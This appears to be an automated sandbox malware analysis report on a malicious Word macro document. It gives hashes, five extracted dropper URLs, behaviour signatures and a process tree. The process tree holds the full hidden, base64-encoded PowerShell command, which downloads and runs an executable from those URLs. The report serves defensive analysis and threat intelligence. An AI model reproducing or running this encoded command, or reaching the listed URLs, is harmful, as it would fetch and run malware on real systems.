Analysis

  • max time kernel
    121s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2024 12:42

General

  • Target

    2020-01-13_152527.doc

  • Size

    231KB

  • MD5

    7c667d0ca5879c12efd2839e373f50b0

  • SHA1

    955a8725a27f5b6abda97eb36ecbec3c34e7efbf

  • SHA256

    10f14648423ffb424a634065e2e56aadd364068df5b0b03f8bc62e402da2025d

  • SHA512

    a62943edc6f27e4d5ca0f716a4a61f12795e5df21466e7395a743d505e4d2ebacb33ce69b167f5bfb97d31d8b2ff50d9eb03c9be90152da90a625dec5ec0df5a

  • SSDEEP

    6144:50Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+JWXm:50E3dxtR/iU9mvUPcXm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.entreprendre-en-alsace.com/cust_service/Hp/

exe.dropper

https://www.ambiance-piscines.fr/wp-admin/tQQvQCL/

exe.dropper

https://www.akarosi.com/0868e784ba5af656b959f6ec5e4e9428/a1a/

exe.dropper

https://thecurrenthotel.com/wp-content/zel617r/

exe.dropper

https://wholesaleusedbooks.co.uk/jetpack-temp/Xl1SeJPW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-13_152527.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -en JABHAHUAawB6AG4AaABkAGMAPQAnAE8AZQBmAGwAcABjAGUAZgAnADsAJABWAHAAegBpAHkAZwBlAGcAdwB0AGEAZQBhACAAPQAgACcAMgA2ADUAJwA7ACQAUQBxAGEAcABtAHoAawB5AGMAcgBiAGsAPQAnAFMAagBkAHoAcQBzAG0AYQAnADsAJABWAGIAYQBhAGgAbQB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAcAB6AGkAeQBnAGUAZwB3AHQAYQBlAGEAKwAnAC4AZQB4AGUAJwA7ACQAQwB5AHYAaABxAHcAegB0AGgAagA9ACcASwBrAGEAaQBzAGQAeABqAG0AJwA7ACQAUwBrAHcAdABqAHcAZQBvAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFYAcABlAGcAcwBjAHgAaAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBuAHQAcgBlAHAAcgBlAG4AZAByAGUALQBlAG4ALQBhAGwAcwBhAGMAZQAuAGMAbwBtAC8AYwB1AHMAdABfAHMAZQByAHYAaQBjAGUALwBIAHAALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAbQBiAGkAYQBuAGMAZQAtAHAAaQBzAGMAaQBuAGUAcwAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHQAUQBRAHYAUQBDAEwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAawBhAHIAbwBzAGkALgBjAG8AbQAvADAAOAA2ADgAZQA3ADgANABiAGEANQBhAGYANgA1ADYAYgA5ADUAOQBmADYAZQBjADUAZQA0AGUAOQA0ADIAOAAvAGEAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAYwB1AHIAcgBlAG4AdABoAG8AdABlAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AGUAbAA2ADEANwByAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBoAG8AbABlAHMAYQBsAGUAdQBzAGUAZABiAG8AbwBrAHMALgBjAG8ALgB1AGsALwBqAGUAdABwAGEAYwBrAC0AdABlAG0AcAAvAFgAbAAxAFMAZQBKAFAAVwAvACcALgAiAHMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABLAHgAdABhAGYAcQBwAGYAcQA9ACcATgBvAGQAZABpAGYAcwBpAGQAcABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAGkAcQB5AHkAdwBxAGcAZwAgAGkAbgAgACQAVgBwAGUAZwBzAGMAeABoACkAewB0AHIAeQB7ACQAUwBrAHcAdABqAHcAZQBvAGsALgAiAGQAYABvAHcAbgBsAG8AQQBgAEQARgBJAGAAbABFACIAKAAkAEQAaQBxAHkAeQB3AHEAZwBnACwAIAAkAFYAYgBhAGEAaABtAHUAZAApADsAJABUAHkAaQB6AGoAYwB5AHgAaQByAGwAagB4AD0AJwBDAHMAZAB5AHYAdQB3AG0AZQBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYAYgBhAGEAaABtAHUAZAApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMwAyADQAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABWAGIAYQBhAGgAbQB1AGQAKQA7ACQAUgB5AGoAdABnAGgAaQBwAHcAbwBrAD0AJwBYAHMAdABsAGoAeQBmAGsAbQAnADsAYgByAGUAYQBrADsAJABFAHcAbQBlAGoAbgBrAGgAcwBzAHoAbgA9ACcATwBsAHUAYwBnAGoAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAdgBrAGgAcwB6AGcAZQBrAHIAcAA9ACcARQBmAGkAZQBjAGEAbAB4AGUAdQBoAHYAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2820

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/772-13-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/772-11-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-8-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-7-0x0000000006B80000-0x0000000006C80000-memory.dmp

      Filesize

      1024KB

    • memory/772-6-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-9-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-10-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-35-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-2-0x000000007172D000-0x0000000071738000-memory.dmp

      Filesize

      44KB

    • memory/772-5-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-16-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-14-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-0-0x000000002F4C1000-0x000000002F4C2000-memory.dmp

      Filesize

      4KB

    • memory/772-34-0x00000000004C0000-0x00000000005C0000-memory.dmp

      Filesize

      1024KB

    • memory/772-33-0x000000007172D000-0x0000000071738000-memory.dmp

      Filesize

      44KB

    • memory/2820-23-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

      Filesize

      32KB

    • memory/2820-22-0x000000001B8D0000-0x000000001BBB2000-memory.dmp

      Filesize

      2.9MB